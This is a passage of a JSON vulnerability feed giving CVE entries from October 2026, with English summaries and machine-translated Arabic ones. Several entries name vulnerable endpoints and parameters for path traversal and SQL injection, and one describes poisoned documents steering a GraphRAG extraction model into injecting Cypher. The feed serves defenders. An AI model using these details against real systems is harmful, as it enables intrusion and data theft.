بالالتفاف على ضوابط المصادقة الحالية. وقد يسمح الاستغلال الناجح للمهاجم بالحصول على وصول إداري، وتعديل تكوينات النظام، والوصول إلى البيانات الحساسة أو التلاعب بها، وتعطيل عمليات الشبكة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-93336","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T18:17:32Z","product":"Canonical Juju","affected":[["4.0 – <4.0.16","4.0.16"]],"title":{"en":"Missing authorization in the unit resources download route in Juju controllers","ar":"غياب التفويض في مسار تنزيل موارد الوحدة في متحكمات Juju"},"summary":{"en":"Missing authorization in the unit resources download route in Canonical Juju 4.0 through 4.0.15 allows a controller-authenticated principal (a unit agent, or a user with only login permission) to read any application's charm resource in any model, including container-registry credentials, via a crafted request naming an arbitrary unit.","ar":"غياب التفويض في مسار تنزيل موارد الوحدة في Canonical Juju من الإصدار 4.0 وحتى 4.0.15 يتيح لكيان مصادق عليه لدى المتحكم (وكيل وحدة، أو مستخدم لديه صلاحية تسجيل الدخول فقط) قراءة موارد التعويذة (charm) الخاصة بأي تطبيق في أي نموذج، بما في ذلك بيانات اعتماد سجل الحاويات، عبر طلب مصمم يسمى وحدة تعسفية."},"refs":[["https://github.com/juju/juju/pull/23360","patch"],["https://github.com/juju/juju/security/advisories/GHSA-fp7x-6hq5-3c3w","advisory"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"canonical-juju"},{"id":"CVE-2026-97631","cvss":9.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-120","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T17:17:02Z","product":"TianoCore EDK2","affected":[["0 – edk2-stable202608",null]],"title":{"en":"Pre-boot RCE in EDK II PXE driver","ar":"تنفيذ أوامر عن بُعد قبل الإقلاع في برنامج تشغيل EDK II PXE"},"summary":{"en":"EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds Write”, Classic Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability can lead to arbitrary code execution. It could also impact Confidentiality, Integrity, and Availability.","ar":"يحتوي EDK2 على ثغرة في نظام BIOS حيث قد يتسبب المستخدم في \"كتابة خارج الحدود\"، وفيضان المخزن المؤقت الكلاسيكي، و\"حساب غير صحيح لحجم المخزن المؤقت\" عن طريق الوصول عن بُعد. يمكن أن يؤدي الاستغلال الناجح لهذه الثغرة إلى تنفيذ شيفرة عشوائية. وقد يؤثر أيضًا على السرية والسلامة والتوافر."},"refs":[["https://github.com/tianocore/edk2/security/advisories/GHSA-99cj-7hg9-mp4m","ref"],["https://arstechnica.com/security/2026/10/code-execution-flaw-in-uefi-firmware-threatens-most-servers-on-planet-earth/","ref"],["https://github.com/microsoft/mu_basecore/pull/1989","ref"],["https://github.com/microsoft/mu_basecore/pull/1990","ref"],["https://news.ycombinator.com/item?id=50265393","ref"]],"epss":0.0064,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"tianocore-edk2"},{"id":"CVE-2026-115416","cvss":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-653","tags":["Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T17:16:58Z","product":"AWS Amazon Athena","affected":[],"title":{"en":"Incorrect authorization checks in Amazon Athena engine version 3 query processing","ar":"فحوصات تفويض غير صحيحة في معالجة الاستعلامات لإصدار محرك Amazon Athena رقم 3"},"summary":{"en":"Incorrect authorization checks in Amazon Athena engine version 3 query processing could have allowed an authenticated user to read AWS account identifiers and SQL statement text query metadata from other AWS accounts. Query results, and data stored in Amazon S3 or other data sources, were not accessible through this issue. AWS remediated the issue on October 7, 2026. No customer action is required.","ar":"قد تسمح فحوصات التفويض غير الصحيحة في معالجة الاستعلامات لإصدار محرك Amazon Athena رقم 3 لمهاجم يملك حسابًا مصادقًا عليه بقراءة معرفات حسابات AWS وبيانات تعريف استعلامات نص عبارات SQL من حسابات AWS أخرى. لم تكن نتائج الاستعلامات والبيانات المخزنة في Amazon S3 أو مصادر البيانات الأخرى قابلة للوصول من خلال هذه المشكلة. قامت AWS بمعالجة المشكلة في 7 أكتوبر 2026. لا يلزم اتخاذ أي إجراء من العميل."},"refs":[["https://aws.amazon.com/security/security-bulletins/2026-144-aws/","advisory"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aws-amazon-athena"},{"id":"CVE-2026-114510","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-116","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T15:17:05Z","product":"stevereiner flexible-graphrag","affected":[],"title":{"en":"Flexible GraphRAG: Cypher/Graph Injection via broken string-escaping in FalkorDB adapter (_escape()) - full graph wipe from ingested-document content","ar":"Flexible GraphRAG: حقن Cypher/Graph عبر الهروب المعيب للنصوص في محول FalkorDB (_escape()) - مسح كامل للرسم البياني من محتوى المستندات المُستوعبة"},"summary":{"en":"Flexible GraphRAG is a Python framework for building graph and retrieval-augmented generation applications across multiple graph, vector, and search backends. From 0.6.0 until 0.8.2, the _escape() helper in flexible-graphrag/langchain/graph/pg_store_adapters/falkordb_adapter.py escapes quotes before backslashes and then interpolates the result into Cypher assembled by FalkorDBAdapter.add_graph_documents, allowing an inserted escape to be doubled and a quote to terminate the string early. When GRAPH_BACKEND=langchain and GRAPH_DB=falkordb are configured, attacker-influenced ingested document content can cause the extraction model to produce malicious entity or relationship values that reach these queries, allowing injected Cypher clauses to modify or delete graph data and, when the calling code surfaces query results to the user or LLM, disclose graph data. Dynamic node and relationship type identifiers are also inserted into backtick-quoted query positions without safe parameterization. The LlamaIndex FalkorDB store is not affected. This issue is fixed in version 0.8.2.","ar":"Flexible GraphRAG هو إطار عمل بلغة Python بناء تطبيقات الرسم البياني والتوليد المعزز بالاسترجاع عبر خلفيات رسومية وناقلية وبحثية متعددة. من الإصدار 0.6.0 حتى 0.8.2، يقوم المساعد _escape() في flexible-graphrag/langchain/graph/pg_store_adapters/falkordb_adapter.py بالهروب من علامات التنصيص قبل الشرطة المائلة العكسية ثم يدمج النتيجة في استعلامات Cypher التي تجمعها FalkorDBAdapter.add_graph_documents، مما يسمح بمضاعفة الهروب المُدرج وإنهاء علامة التنصيص للنص مبكرًا. عند تكوين GRAPH_BACKEND=langchain وGRAPH_DB=falkordb، يمكن لمحتوى المستند المُستوعب المتأثر بالمهاجم أن يتسبب في قيام نموذج استخراج البيانات بإنشاء قيم كيانات أو علاقات خبيثة تصل إلى هذه الاستعلامات، مما يسمح لجمل Cypher المُحقنة بتعديل أو حذف بيانات الرسم البياني، وعندما تعرض الشفرة المستدعة نتائج الاستعلام للمستخدم أو نموذج اللغات الكبير، يتم الكشف عن بيانات الرسم البياني. كما يتم إدراج معرفات العقد وأنواع العلاقات الديناميكية في مواضع الاستعلام المحاطة بعلامات اقتباس عكسية دون تثبيت آمن للمتغيرات. لا يتأثر مخزن LlamaIndex FalkorDB. تم إصلاح هذه المشكلة في الإصدار 0.8.2."},"refs":[["https://github.com/stevereiner/flexible-graphrag/commit/9ace8d47e198ce3f15dbf22853e396ab4e9884fa","ref"],["https://github.com/stevereiner/flexible-graphrag/releases/tag/v0.8.2","ref"],["https://github.com/stevereiner/flexible-graphrag/security/advisories/GHSA-vqrg-773h-4wxc","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"stevereiner-flexible-graphrag"},{"id":"CVE-2022-51022","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T11:17:05Z","product":"liukuo362573 YiShaAdmin","affected":[["2.2 – 3.1",null]],"title":{"en":"YiShaAdmin 3.1 Unauthenticated Path Traversal via DownloadFile endpoint","ar":"ثغرة اجتياز المسار دون مصادقة في YiShaAdmin 3.1 عبر نقطة النهاية DownloadFile"},"summary":{"en":"YiShaAdmin 2.2 through 3.1, fixed in commit 025b062, contains an unauthenticated path traversal vulnerability in the /admin/File/DownloadFile endpoint that allows attackers to read and delete arbitrary files via the filePath parameter. Attackers can send crafted GET requests with directory traversal sequences in filePath and set the delete parameter to read or remove system files like etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.","ar":"يحتوي YiShaAdmin من الإصدار 2.2 حتى 3.1، والتي مُحِيت في الالتزام 025b062، على ثغرة اجتياز المسار دون مصادقة في نقطة النهاية /admin/File/DownloadFile والتي تسمح للمهاجمين بقراءة وحذف ملفات عشوائية عبر المعلمة filePath. يمكن للمهاجمين إرسال طلبات GET معدلة تحتوي على تسلسلات اجتياز الدليل في المعلمة filePath وتعيين معلمة الحذف لقراءة أو إزالة ملفات النظام مثل etc/passwd. تم رصد أدلة الاستغلال لأول مرة بواسطة Shadowserver Foundation في 2023-10-20."},"refs":[["https://github.com/liukuo362573/YiShaAdmin/commit/025b0628b1295bd2d9fd6c9b5b82692a345151ef","patch"],["https://github.com/liukuo362573/YiShaAdmin/commit/c3b66e66bf6d70a561190cd8da7f4df7b141931d","patch"],["https://www.vulncheck.com/advisories/yishaadmin-3.1-unauthenticated-path-traversal-via-downloadfile-endpoint","advisory"],["https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/yishaadmin-lfi.yaml","ref"],["https://huntr.com/bounties/2acdd87a-12bd-4ce4-994b-0081eb908128","ref"]],"epss":0.0079,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"liukuo362573-yishaadmin"},{"id":"CVE-2025-71434","cvss":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T10:57:38Z","product":"Weaver Network Co., Ltd. E-cology","affected":[["0 – <10.76","10.76"]],"title":{"en":"Weaver E-cology < 10.76 Unauthenticated SQL Injection via doc/out/more/list","ar":"حقن SQL دون مصادقة في Weaver E-cology < 10.76 عبر doc/out/more/list"},"summary":{"en":"Weaver E-cology 8.0, 9.0, and 10.0 prior to 10.76 contains an unauthenticated SQL injection vulnerability in the /api/doc/out/more/list endpoint via the elementmore parameter with srcType=2. Attackers can inject SQL through doc_datefrom/doc_dateto fields and read results via /api/ec/dev/table/counts to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-19.","ar":"يحتوي Weaver E-cology بالإصدارات 8.0 و9.0 و10.0 قبل الإصدار 10.76 على ثغرة حقن SQL دون مصادقة في نقطة النهاية /api/doc/out/more/list عبر المعلمة elementmore مع srcType=2. يمكن للمهاجمين حقن SQL من خلال حقول doc_datefrom/doc_dateto وقراءة النتائج عبر /api/ec/dev/table/counts لاستخراج معلومات قاعدة البيانات. تم رصد أدلة الاستغلال لأول مرة بواسطة Shadowserver Foundation في 2026-07-19."},"refs":[["https://www.weaver.com.cn/cs/security/edm20250704_opiurutjvmopimdwytdc.html","patch"],["https://www.vulncheck.com/advisories/weaver-e-cology-10.76-unauthenticated-sql-injection-via-doc-out-more-list","advisory"],["https://y4tacker.github.io/2025/07/09/year/2025/07/%E5%A6%82%E4%BD%95%E4%BB%8E%E7%81%B0%E7%9B%92%E8%A7%92%E5%BA%A6%E5%BF%AB%E9%80%9F%E5%A4%8D%E7%8E%B0Weaver-SQL%E6%B3%A8%E5%85%A5/","ref"],["https://1diot9.github.io/2026/05/13/%E6%B3%9B%E5%BE%AEe9%E5%88%86%E6%9E%90%E6%80%9D%E8%B7%AF/","ref"],["https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml","ref"],["https://blog.csdn.net/murphysec/article/details/149236904","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"weaver-network-co-ltd-e-cology"},{"id":"CVE-2019-25779","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T10:57:27Z","product":"WooThemes Diarise","affected":[["0 – 1.5.9",null]],"title":{"en":"WooThemes Diarise 1.5.9 Local File Disclosure via download.php","ar":"كشف الملفات المحلية في WooThemes Diarise 1.5.9 عبر download.php"},"summary":{"en":"WooThemes Diarise through 1.5.9 contains a file read vulnerability that allows unauthenticated attackers to read arbitrary files through the calendar parameter of download.php. Attackers can send GET requests with file:// scheme paths to the calendar parameter to disclose sensitive files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","ar":"يحتوي WooThemes Diarise حتى الإصدار 1.5.9 على ثغرة قراءة ملفات تسمح للمهاجمين دون مصادقة بقراءة ملفات عشوائية من خلال معلمة التقويم calendar في الملف download.php. يمكن للمهاجمين إرسال طلبات GET مع مسارات ذات مخطط file:// إلى معلمة calendar للكشف عن ملفات حساسة مثل /etc/passwd. تم رصد أدلة الاستغلال لأول مرة بواسطة Shadowserver Foundation في 2023-10-19."},"refs":[["https://www.vulncheck.com/advisories/woothemes-diarise-1.5.9-local-file-disclosure-via-download-php","advisory"],["https://packetstorm.news/files/id/152773/","ref"],["https://cxsecurity.com/issue/WLB-2019050123","ref"],["https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/diarise-theme-lfi.yaml","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"woothemes-diarise"},{"id":"CVE-2026-114727","cvss":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","cwe":"CWE-829","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T01:59:00Z","product":"Roundcube Webmail","affected":[["1.6.0 – <1.6.20","1.6.20"],["1.7.0 – <1.7.5","1.7.5"]],"title":{"en":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images.","ar":"يقوم Roundcube Webmail قبل الإصدارين 1.6.20 و 1.7.x قبل 1.7.5 تمرير محتوى يحتمل ألا يكون آمنًا إلى ImageMagick عند تغيير حجم الصور."},"summary":{"en":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 passes potentially unsafe content into ImageMagick when resizing images. SVG and EPS were accepted as valid image types for contact photo upload and conversion, and both formats can reference external resources and invoke ImageMagick delegates when processed. Upstream fixed this in the commit “Fix passing potentally unsafe attachment content into ImageMagick on image resize”, which removes svg and eps from the accepted types.","ar":"يقوم Roundcube Webmail قبل الإصدارين 1.6.20 و 1.7.x قبل 1.7.5 بتمرير محتوى يحتمل ألا يكون آمنًا إلى ImageMagick عند تغيير حجم الصور. تم قبول SVG و EPS كأنواع صور صالحة لرفع وتحويل صور جهات الاتصال، ويمكن كلا التنسيقين الإشارة إلى موارد خارجية واستدعاء مفوضي ImageMagick عند معالجتها. قام المطورون الأصليون بإصلاح ذلك في الالتزام المعنون \"إصلاح تمرير محتوى المرفقات الذي يحتمل ألا يكون آمنًا إلى ImageMagick عند تغيير حجم الصورة\"، والذي يزيل svg و eps من الأنواع المقبولة."},"refs":[["https://github.com/roundcube/roundcubemail/commit/8f0dc2d4675b5ec72e9746862956785f2e099fc7","patch"],["https://github.com/roundcube/roundcubemail/releases/tag/1.7.5","patch"],["https://github.com/roundcube/roundcubemail/releases/tag/1.6.20","patch"],["https://github.com/roundcube/roundcubemail/commit/895d88af37720d2b46e4553f524013b2e1cb7665","patch"],["https://bugs.debian.org/1151279","advisory"],["https://roundcube.net/news/2026/10/19/security-updates-1.6.20-and-1.7.5","advisory"]],"epss":0.0033,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"roundcube-webmail"},{"id":"CVE-2026-110264","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T00:33:48Z","product":"GitLab GitLab","affected":[["7.0 – <18.11.13","18.11.13"],["19.0 – <19.0.10","19.0.10"],["19.1 – <19.1.9","19.1.9"],["19.2 – <19.2.9","19.2.9"],["19.3 – <19.3.6","19.3.6"],["19.4 – <19.4.3","19.4.3"],["19.5 – <19.5.1","19.5.1"],["7.0.0 – <18.11.13","18.11.13"],["19.0.0 – <19.0.10","19.0.10"],["19.1.0 – <19.1.9","19.1.9"],["19.2.0 – <19.2.9","19.2.9"],["19.3.0 – <19.3.6","19.3.6"]],"title":{"en":"Integer Overflow or Wraparound in GitLab","ar":"فيضان العدد الصحيح أو الالتفاف في GitLab"},"summary":{"en":"An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server due to integer overflow when compiling a specially crafted regular expression.","ar":"تم اكتشاف مشكلة في GitLab CE/EE تؤثر على جميع الإصدارات من 7.0 قبل 18.11.13، و19.0 قبل 19.0.10، و19.1 قبل 19.1.9، و19.2 قبل 19.2.9، و19.3 قبل 19.3.6، و19.4 قبل 19.4.3، و19.5 قبل 19.5.1 والتي قد تسمح في ظل ظروف معينة لمستخدم دون مصادقة بتنفيذ شيفرة عشوائية على خادم GitLab بسبب فيضان العدد الصحيح عند تجميع تعبير منتظم مُصمم خصيصًا."},"refs":[["https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-5-1-released/","advisory"],["https://gitlab.com/gitlab-org/gitlab/-/work_items/633633","ref"],["https://hackerone.com/reports/4093475","ref"],["https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/","ref"]],"epss":0.0135,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"gitlab"},{"id":"CVE-2026-51954","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-601","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"An issue in Webasyst Framework 4.0.3 and before allows a remote attacker to execute arbitrary code via a crafted OAuth authorization URL with an arbit","ar":"مشكلة في Webasyst Framework الإصدار 4.0.3 وما قبله تسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية عبر عنوان URL مصمم للمصادقة عبر OAuth مع redirect_uri عشوائي"},"summary":{"en":"An issue in Webasyst Framework 4.0.3 and before allows a remote attacker to execute arbitrary code via a crafted OAuth authorization URL with an arbitrary redirect_uri.","ar":"مشكلة في Webasyst Framework الإصدار 4.0.3 وما قبله تسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية عبر عنوان URL مصمم للمصادقة عبر OAuth مع redirect_uri عشوائي."},"refs":[["https://github.com/webasyst/webasyst-framework/issues/389","ref"],["https://support.webasyst.com/forum/48658/unvalidated-redirect_uri-in-oauth-authorization-flow-allows-authorization-code-interception-and-permanent-api-access/","ref"],["https://github.com/Envincion/CVE-2026-51954","ref"]],"epss":0.0065,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-76290","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T23:17:26Z","product":"Splunk Splunk","affected":[["10.0.0 – <10.0.11","10.0.11"],["10.2.0 – <10.2.8","10.2.8"],["10.4.0 – <10.4.4","10.4.4"]],"title":{"en":"In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package do","ar":"ثغرة عالية الخطورة في Splunk Splunk"},"summary":{"en":"In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk Pipeline Builders app. The requests could cause the Splunk daemon to consume excessive system resources and potentially stop responding. The vulnerability is possible because the endpoint accepts package download requests without authentication and reads and base64-encodes the complete package in memory for each request. After upgrading, prepare all existing Edge Processor instances, turn on authentication for Edge Processor package downloads, and restart Splunk Enterprise. For more information, see Enable authentication for Edge Processor package downloads (https://help.splunk.com/en/data-management/process-data-at-the-edge/use-edge-processors-for-splunk-enterprise/10.4/administer-edge-processors/enable-authentication-for-edge-processor-package-downloads).","ar":"In Splunk Enterprise versions below 10.4.4, 10.2.8, and 10.0.11, an unauthenticated user could send repeated requests to the Edge Processor package download endpoint in the Splunk Pipeline Builders app. The requests could cause the Splunk daemon to consume excessive system resources and potentially stop responding. The vulnerability is possible because the endpoint accepts package download requests without authentication and reads and base64-encodes the complete package in memory for each request. After upgrading, prepare all existing Edge Processor instances, turn on authentication for Edge Processor package downloads, and restart Splunk Enterprise. For more information, see Enable authentication for Edge Processor package downloads (https://help.splunk.com/en/data-management/process-data-at-the-edge/use-edge-processors-for-splunk-enterprise/10.4/administer-edge-processors/enable-authentication-for-edge-processor-package-downloads)."},"refs":[["https://advisory.splunk.com/advisories/SVD-2026-1007","advisory"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"splunk"},{"id":"CVE-2026-76288","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T23:17:26Z","product":"Splunk Splunk","affected":[["9.4.0 – <9.4.16","9.4.16"],["10.0.0 – <10.0.11","10.0.11"],["10.2.0 – <10.2.8","10.2.8"],["10.4.0 – <10.4.4","10.4.4"]],"title":{"en":"In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web","ar":"في إصدارات Splunk Enterprise الأقل من 10.4.4 و10.2.8 و10.0.11 و9.4.16، يمكن لمستخدم دون مصادقة إرسال طلب واحد مصمم خصيصًا إلى نقطة نهاية مسجل بيانات JavaScript لـ Splunk Web"},"summary":{"en":"In Splunk Enterprise versions below 10.4.4, 10.2.8, 10.0.11, and 9.4.16, an unauthenticated user could send a single crafted request to the Splunk Web JavaScript logger endpoint and cause Splunk Web to stop responding to requests. Splunk Web remains unavailable until Splunk Enterprise is restarted. The vulnerability is possible because Splunk Web does not limit request-header parsing before processing the request.","ar":"في إصدارات Splunk Enterprise الأقل من 10.4.4 و10.2.8 و10.0.11 و9.4.16، يمكن لمستخدم دون مصادقة إرسال طلب واحد مصمم خصيصًا إلى نقطة نهاية مسجل بيانات JavaScript الخاص بـ Splunk Web ويتسبب في توقف Splunk Web عن الاستجابة للطلبات. يظل Splunk Web غير متاح حتى يتم إعادة تشغيل Splunk Enterprise. تعود احتمالية هذه الثغرة إلى أن Splunk Web لا يحد من تحليل رأس الطلب (request-header) قبل معالجة الطلب."},"refs":[["https://advisory.splunk.com/advisories/SVD-2026-1007","advisory"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"splunk"},{"id":"CVE-2026-76528","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T22:52:17Z","product":"Splunk Splunk SOAR","affected":[["0 – <8.7.0","8.7.0"]],"title":{"en":"Protection Mechanism Failure in Splunk SOAR","ar":"فشل آلية الحماية في Splunk SOAR"},"summary":{"en":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76528 are related to protection mechanism failure and are grouped under the Common Weakness Enumeration (CWE) CWE-693.","ar":"كجزء من التزام Cisco المستمر بالأمان الاستباقي جودة المنتجات، أجرت Cisco مراجعة أمنية داخلية شاملة. أدت هذه المراجعة إلى إصدار تعزيز للبرمجيات يعالج ثغرات متعددة تم اكتشافها داخليًا. الثغرات التي تتبعها CVE-2026-76528 مرتبطة بفشل آلية الحماية ويتم تجميعها تحت تصنيف تعداد الضعف الشائع (CWE) CWE-693."},"refs":[["https://advisory.splunk.com/advisories/SVD-2026-1011","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"splunk-soar"},{"id":"CVE-2026-76407","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T22:52:13Z","product":"Splunk Splunk SOAR","affected":[["0 – <8.7.0","8.7.0"]],"title":{"en":"Improper Access Control in Splunk SOAR","ar":"تحكم غير سليم في الوصول في Splunk SOAR"},"summary":{"en":"As part of Cisco's ongoing commitment to proactive security and product quality, Cisco has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-76407 are related to improper access control and are grouped under the Common Weakness Enumeration (CWE) CWE-284.","ar":"كجزء من التزام Cisco المستمر بالأمان الاستباقي جودة المنتجات، أجرت Cisco مراجعة أمنية داخلية شاملة. أفرزت هذه المراجعة إصداراً لتعزيز أمان البرمجيات لمعالجة ثغرات متعددة تم اكتشافها داخلياً. الثغرات المتعقبة برقم CVE-2026-76407 تتعلق بالتحكم غير السليم في الوصول ومصنفة تحت تصنيف الضعف الشائع CWE-284."},"refs":[["https://advisory.splunk.com/advisories/SVD-2026-1011","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"splunk-soar"},{"id":"CVE-2026-76306","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T22:52:09Z","product":"Splunk Splunk SOAR","affected":[["0 – <8.7.0","8.7.0"]],"title":{"en":"Information Disclosure through REST API Query Filters in Splunk SOAR","ar":"ثغرة عالية الخطورة في Splunk Splunk SOAR"},"summary":{"en":"In Splunk SOAR versions below 8.7.0, a user that has the \"Observer\" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and authorization tokens for other users. The information disclosure is possible because Splunk SOAR applies REST API query filters to user records before it protects sensitive fields from query processing. For more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/8.5.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/8.5.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.","ar":"In Splunk SOAR versions below 8.7.0, a user that has the \"Observer\" role could use query filters in the Representational State Transfer (REST) API to infer password hashes and authorization tokens for other users. The information disclosure is possible because Splunk SOAR applies REST API query filters to user records before it protects sensitive fields from query processing. For more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/8.5.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) 